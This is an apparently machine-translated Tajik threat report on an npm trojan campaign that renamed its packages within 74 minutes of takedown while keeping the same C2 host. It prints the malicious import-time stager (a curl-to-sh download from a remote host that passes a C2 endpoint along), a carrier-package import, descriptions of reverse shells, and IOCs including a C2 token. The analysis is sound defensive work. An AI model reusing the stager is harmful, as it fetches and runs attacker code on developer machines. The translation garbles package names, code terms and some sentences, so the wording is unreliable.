GhostTracker: троянии npm дар тӯли 74 дақиқа аз нав бренд карда шуд - ҳамон C2

GhostTracker: трояни npm, ки дар давоми чанд соат пас аз несткунӣ аз нав брендинг кард ва ҳамон C2-ро нигоҳ дошт.

ХИБ; DR

Як оператори npm нашр шуд панҷ бастаи троянӣ дар ду давр дар се рӯз. Бастаҳо ҳамчун утилитаҳои хурди terminal-color, logger ва Postgres-client ҷойгир мешаванд. Коди зараровар кор мекунад лаҳзаи воридоти баста — ягон скрипти насбкунӣ барои сабт вуҷуд надорад.

Даври якум (neon-terminal, neon-postgres, ne-logger) дар 2026-07-05 соати 14:14 UTC нашр нашудааст. Ҳафтоду чор дақиқа пас ҳамон ҳисоб ҳамон троянро бо номҳои нав аз нав нашр кард (agn-terminal, agn-logger) — ва онро ба он нишон дод ҳамон нуқтаи ниҳоии фармон ва назорат қаблан истифода мебурд: tracker.bvgroup.co.

Он хости C2 ягона нишондиҳандаест, ки аз номи нав зинда мемонад ва зудтарин чизест, ки барои як муҳофиз бояд ҷустуҷӯ кунад. Ҷиддият: баландЭкосистема: дандДар вақти навиштани мақола, бастаҳои даври дуюм ҳанӯз фаъол буданд.

Ҳамла: чӣ гуна кор мекунад

Бастаҳо фиребгарони функсионалӣ мебошанд. Кушода терминали агн ва шумо як ёвари пурра ва коркунандаи ранги ANSI-ро пайдо мекунед - Рамзҳои, Рангро дастгирӣ мекунад, ранг кардан, бедардӣ — бо намудҳо ва README. Коди утилитӣ кор мекунад. Дар болои модули вуруд, дар болои рамзи муфид, чанд сатр ҷойгиранд, ки ҳангоми воридот кор мекунанд.

// agn-terminal 0.1.0 — src/index.js (top of module)
import { exec } from "node:child_process";

const child = exec(
  "curl -fsSL https://remote.agyn.org/remote.sh | " +
  "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",
  {}, (error, stdout, stderr) => {},
);

Се чиз ин корро самаранок мегардонад.

  • Он ҳангоми воридот фаъол мешавад, на ҳангоми насб. Баста эълон мекунад, ки не пешакӣ насб кардан or пас аз насб кардан қалмоқ — ҷои маъмулии сканерҳо ва баррасикунандагон. exec даъват рамзи сатҳи модул аст. Он бори аввал ҳангоми коре иҷро мешавад талаб мекунад ("agn-terminal") or воридоти “agn-terminal”, дар мошини таҳиягар ё дар дохили CI. Ҳарду вуруди ESM (src/index.js) ва вуруди CommonJS (cjs/src/index.js) бори якхеларо мебардоранд, аз ин рӯ ҳарду системаи модул фаро гирифта шудаанд.
  • Бори аслӣ берун аз баста зиндагӣ мекунад. Баста танҳо як stager-и яксатрӣ мефиристад: fetch remote.agyn.org/remote.sh` -ро зеркашӣ кунед ва онро ба он фиристед sh`. Ҳар чизе, ки оператор аз он URL дар вақти дархост хидмат мекунад, ҳамон кор мекунад. Нуқтаи ниҳоии C2 ба скрипти зеркашишуда тавассути TRACKER_REMOTE_ENDPOINT тағйирёбандаи муҳити зист, бинобар ин скрипти марҳилаи дуюм ба хона занг мезанад tracker.bvgroup.co.
  • Бастаи интиқолдиҳанда радиуси таркишро васеъ мекунад. agn-logger як фиребгари дуюм аст — "регистратори хурди ҷаҳонӣ". Он ягон бори фоиданоки худро надорад. Модули вуруди он як кори муҳимро иҷро мекунад:
// agn-logger 0.1.0 — cjs/src/index.js
const { colorize, supportsColor } = require('agn-terminal');

Он изҳор мекунад терминали агн ҳамчун вобастагӣ ва ворид кардани он. Насб ё воридоти сабткунанда бастаи терминалро ба таври транзитӣ фаъол мекунад. Лоиҳае, ки ҳеҷ гоҳ троянро мустақиман номгузорӣ намекунад, метавонад онро тавассути сабткунанда иҷро кунад.

Дар ин ҷо чӣ нав аст?

Дар даври аввал аз стажери дурдаст истифода нашуд. Он бори муфидро дар сатр интиқол дод ва онро версия ба версия афзоиш дод — як қабати баръакси bash дар як нашр, net.Socket пӯсти баръакс дар навбатӣ, а git илова кунед/commit/Тела феҳристи кории ҷабрдида дар дигар ва дар ниҳоят як агенти пурраи фармон ва идоракунии HTTP дар терминали неон 0.9.0, ки мизбонро сабти ном кард, барои вазифаҳо пурсиш кард ва онҳоро бо он иҷро кард exec(), ва баромади бо рамзгузории base64 баргардонидашударо баргардонд. Даври дуюм ҳамаи инро ба якто ҷамъ мекунад печида | sh, марҳилаи дуюмро пурра аз реестр берун мекунад. Ҳамон оператор, бастаи оромтар, бори чандиртар — ва муҳимтар аз ҳама, ҳамон C2 мисли пештара.

Давомнокӣ

Сана (UTC)ҳодиса
2026-07-03 07:03Даври якум нашр шуд: neon-terminal (0.1.0 тоза, сипас 0.2.0–0.9.0 зараровар), neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05neon-terminal дар сканкунии вақти воқеӣ қайд карда шудааст
2026-07-04Зараровар тасдиқ шудааст; робитаи байни ду бастаи бародару хоҳарон ошкор мешавад; аввалин кӯшишҳои несткунӣ пешниҳод шудаанд
2026-07-05 14:14Даври якум нашр нашудааст — ҳамаи ҳашт neon-terminal Версияҳо ва бародарон хориҷ карда шуданд
2026-07-05 15:28agn-terminal 0.1.0 нашр
2026-07-05 15:29agn-logger 0.1.0 нашр шудааст — интиқолдиҳанда барои бастаи нави терминалӣ
2026-07-05 (идома дорад)Бастаҳои даври дуюм дар вақти навиштан фаъоланд

Ду давр бо фосилаи се рӯз баргузор мешаванд ва фосилаи байни хориҷ кардан ва аз нав оғоз кардан 74 дақиқаро ташкил дод. Маърака кушода аст: агн-* Ҳангоми навиштани ин бастаҳо тоза карда нашуда буданд.

Нишондиҳандаҳои созиш

Файлҳои қулф ва дарахтони вобастагиро барои номҳои бастаҳо ҷустуҷӯ кунед. Ҷустуҷӯи прокси, DNS ва ЭДР гузоришҳо барои нуқтаҳои ниҳоии шабака. Хости C2 tracker.bvgroup.co ҳарду даврро дар бар мегирад ва нишондиҳандаи ягонаи дорои арзиши баландтарин мебошад.

бастаҳои

бастаиверсияҳоиНақшиСтатуси
neon-terminal0.2.0–0.9.0троян (борҳои дарунсохт → HTTP C2)нашрнашуда
neon-postgres3.5.2троян (бори иловагӣ дар src/errors.js)нашрнашуда
ne-logger0.7.0интиқолдиҳанда (вобаста аст neon-terminal)нашрнашуда
agn-terminal0.1.0троян (curl | sh саҳнасоз)зинда
agn-logger0.1.0интиқолдиҳанда (вобаста аст agn-terminal)зинда

терминали неон 0.1.0 як тухми тоза буд - китобхонаи рангҳои корӣ бидуни боркунӣ - барои таъсиси баста пеш аз версияҳои зараровар нашр шуд.

шабакаи

нишондиҳандаиМавзӯи
tracker.bvgroup.co/remote/…HTTP C2, ҳарду давр (токени даври дуюм t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.shборкунаки марҳилаи якуми даври дуюм
reverse.bvgroup.co:443нуқтаи ниҳоии қабати баръакси мудаввар-як (neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754қабати баръакси мудаввар-якшакл (neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852қабати баръакси мудаввар-якшакл (neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.ioдоменҳои аз ҷониби оператор идорашаванда

Рафтор

  • Сатҳи модул child_process.exec дар болои файли вуруди бастаи коммуналӣ, дар ҳарду src/index.js (ESM) ва cjs/src/index.js (CJS).
  • A curl -fsSL … | sh як сатр бо C2 тавассути a TRACKER_REMOTE_ENDPOINT тағйирёбандаи муҳити зист.
  • Бастаи дуюми "фоиданок", ки аввалро ҳамчун вобастагӣ эълон мекунад ва онро бидуни ягон бори худ ворид мекунад.
  • Боқимонда // неон-терминал шарҳ дар болои терминали агн — артефакти нусхабардорӣ ва часбондан, ки ребрендингро бо аслӣ пайваст мекунад.

Хэшҳои файл (SHA-256, даври дуюм)

  • терминали агн src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • терминали агн cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • agn-logger src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

Атрибутсия ва рафтори мушоҳидашуда

Ҳар як баста ба як ҳисоби npm пайгирӣ мешавад, виталиий-агин, нашр дар зери почтаи электронии тасдиқнашуда vitalii@agyn.ioМетамаълумоти сабти номи ҳисоб ҳар се бастаи даври якро, ки аз ҷониби он нигоҳдорӣ мешаванд, номбар мекунад. Инфрасохтор даврҳоро бо ҳам мепайвандад: домен agyn.org бо ношир мувофиқат мекунад agyn.io домени почтаи электронӣ ва хости C2 tracker.bvgroup.co дар ҳарду пайдо мешавад терминали неон 0.9.0 ва терминали агн 0.1.0 — ҳамон роҳи коллектор, ки пас аз номгузорӣ дубора истифода мешавад.

Мо он чизеро, ки осори таърихӣ нишон медиҳанд, тавсиф мекунем ва дар он ҷо таваққуф мекунем. Суроғаи почтаи электронии ношир ин аст vitalii@agyn.io; мо моликияти ин суроғаро тасдиқ накардаем ва ҳисобро ба ягон шахс ё гурӯҳе, ки номбар шудааст, нисбат намедиҳем. Истифодаи такрории як нуқтаи ниҳоии C2 дар ду оилаи бастаҳо як сигнали қавии ҳамон оператор аст, на як шахсият.

Бастаҳои мудаввари як ба ҳамшафатии бренд такя мекарданд. неон-постгрес як клони пурраи Порсагер буд, ки ба таври васеъ истифода мешуд postgres.js муштарӣ, шиори он ва ҳама чиз, бо боркунии иловагӣ дар src/errors.js пас роҳи муқаррарии воридот ба он мерасад - ва неон- Префикс шинохтани Neon, провайдери Postgres-и бесерверро қарз мегирад. Номҳои даври дуюм тақлидкориро аз байн бурданд ва умумӣ шуданд (терминали агн, agn-logger), бренди тиҷоратӣ барои танаффуси тозатар аз номҳои сӯхташуда кашида мешавад.

 Таъсир, тамоюлҳо ва роҳнамоии ҳимоятгарон

  • Кӣ фош мешавад. Ҳар касе, ки яке аз ин бастаҳоро мустақиман ё тавассути оператор дар хости монанд ба Unix насб ва ворид мекунад. лаблабу ва sh; садафҳои мудаввар истифода мешаванд bash ва /dev/tcpАзбаски иҷро ҳангоми воридот сурат мегирад, сервери сохташуда, ки вобастагиро насб мекунад ва ҳама гуна рамзеро, ки ба он таъсир мерасонад, иҷро мекунад, кифоя аст — ягон қадами пас аз насбкунӣ талаб карда намешавад. Дар истгоҳи кории таҳиягар ё иҷрокунандаи CI, марҳилаи дуюми зеркашишуда бо имтиёзҳои корбар ва фарогирии пурраи шабака кор мекунад.
  • Чаро иҷрои вақти воридот муҳим аст. Муҳофизати занҷираи таъминот ба скриптҳои насб тамаркуз кардааст ва бо сабаби хуб - postinstall пойгоҳи классикии npm аст. Ин маърака аз ин комилан канорагирӣ мекунад. Ҳеҷ гуна қалмоқи насбкунӣ барои қайд кардан вуҷуд надорад. рамзи зараровар ин ибтидоии оддии модул аст, ки дар як нигоҳ аз бастае, ки ҷадвали ҷустуҷӯро ҳангоми боркунӣ ҳисоб мекунад, фарқ карда намешавад. Асбобҳое, ки танҳо скриптҳоро дар package.json тафтиш мекунанд, ҳеҷ чизро намебинанд.
  • Тамоюли аз нав брендинг ва истифодаи такрорӣ. Қисса дар он аст, ки гардиши 74-дақиқаӣ. Бартарафкунӣ номҳоро нест кард, аммо оператор, инфрасохтор ё рамзро не. Дар давоми як соат маърака дубора бо номҳои нав, ки ба ҳамон C2 ишора мекарданд, оғоз ёфт. Бастани номӣ - рад кардани рӯйхати неон - аллакай кӯҳна мешуд. Бастани инфрасохторӣ - рад кардани рӯйхати bvgroup.co - бо расидан даври дуюмро фаро мегирифт. Барои оператори зинда, ки аз нест кардани феҳристҳо зудтар дубора нашр мекунад, нишондиҳандаи устувор нуқтаи ниҳоии шабака аст, на номи баста.

Акнун чй бояд кард

  • Файлҳои қулфи Grep ва дарахтони насбшударо барои ҳамаи панҷ номи бастаҳои дар боло зикршуда истифода баред. Ҳар гуна мувофиқатро ҳамчун хостҳои осебдида баррасӣ кунед ва эътимодномаҳои дастрасро аз он гардонед.
  • Дар доменҳо блок кунед ва огоҳӣ диҳед bvgroup.co, agyn.org, ва нуқтаҳои ниҳоии ngrok дар филтркунии DNS ва баромад. tracker.bvgroup.co афзалиятнок аст.
  • Танҳо ба сканкунии install-hook такя накунед. Барои сатҳи модул муайянкуниро илова кунед. раванди_кӯдак ва зангҳои шабакавӣ дар вобастагиҳо ва барои печида … | sh намунаҳо дар манбаи баста.
  • Ба бастаи утилитҳое, ки як утилитаи дигари номаълумро ягона вобастагии худ эълон мекунад ва онро ҳангоми боркунӣ ворид мекунад, назари дубора додан арзанда аст.
  • Дар CI, афзалтар аст –скриптҳоро сарфи назар кунед ки дар он ҷо амалӣ аст, аммо дарк кунед, ки ин дар ин ҷо кӯмак намекунад - бори иловагӣ ҳангоми воридот кор мекунад, аз ин рӯ идоракунии баромади вақти иҷро ва баррасии вобастагӣ муҳимтар аст.

Адабиёт

асбобҳои sca-tools-нармафзор-таҳлили таркиб
Хатарҳои нармафзори худро афзалият диҳед, ислоҳ кунед ва бехатар созед
Ҳисоби ройгони худро дастрас кунед.
Корти кредитӣ лозим нест.

Таҳия ва интиқоли нармафзори худро таъмин кунед

бо маҷмӯи маҳсулоти Xygeni